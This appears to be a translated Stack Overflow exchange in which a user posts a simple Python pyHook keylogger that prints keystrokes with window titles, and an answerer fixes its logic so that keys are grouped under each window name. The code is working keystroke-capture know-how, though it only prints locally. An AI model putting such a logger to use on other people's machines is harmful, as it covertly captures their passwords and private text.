0

这是 python 键盘记录器和窗口标题抓取器的代码,但我无法同时抓取它们。

import pythoncom, pyHook ,time

def OnKeyboardEvent(event):
            keylog= chr(event.Ascii)

            print keylog
            key =  event.WindowName
            print key
            time.sleep(0.1)
            if(key==event.WindowName):
                pass
            else:
                key = event.WindowName
                print key

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()   

输出就像

a 开始菜单 b 开始菜单 c 开始菜单 d cmd.exe

我需要它

开始菜单 abc

cmd.exe

4

1 回答 1

1

您的代码实际上没有任何意义。让我们逐步了解它的作用:

        keylog= chr(event.Ascii)

        print keylog

这将打印按下的键。

        key =  event.WindowName
        print key

这将打印窗口名称。我不确定你为什么要把它放在一个key不是键时调用的变量中,但这并不会改变它的作用。

        time.sleep(0.1)

这会暂停,大概是为了确保在用户输入速度过快时会丢失按键?

        if(key==event.WindowName):
            pass

这总是正确的,因为您设置key = event.WindowName得更早,并且event对象不会即时更改。

        else:
            key = event.WindowName
            print key

如上所述,这永远不会发生。但是,如果确实如此,它将设置key为它已经拥有的值(窗口名称)并再次打印它。

我的猜测是,您在这里尝试做的是仅在窗口名称与上次不同时打印窗口名称,或者类似的东西?一种快速而肮脏的方法是使用全局变量:

lastWindow = None

def OnKeyboardEvent(event):
    global lastWindow

    window = event.WindowName
    key = chr(event.Ascii)

    if window != lastWindow:
        print window
        lastWindow = window

    print key

所以,在你的测试用例中,而不是这个:

a Start menu b Start menu c Start menu d cmd.exe

你应该得到这个:

Start menu a b c cmd.exe d

(尽管实际上,您将把它们放在单独的行上,而不是用空格分隔,因为您的代码只是做print keylogand print key,而我也做了同样的事情。如果您希望它们都在一行上,请在每行的末尾加一个逗号print陈述。)

于 2013-03-05T20:21:05.803 回答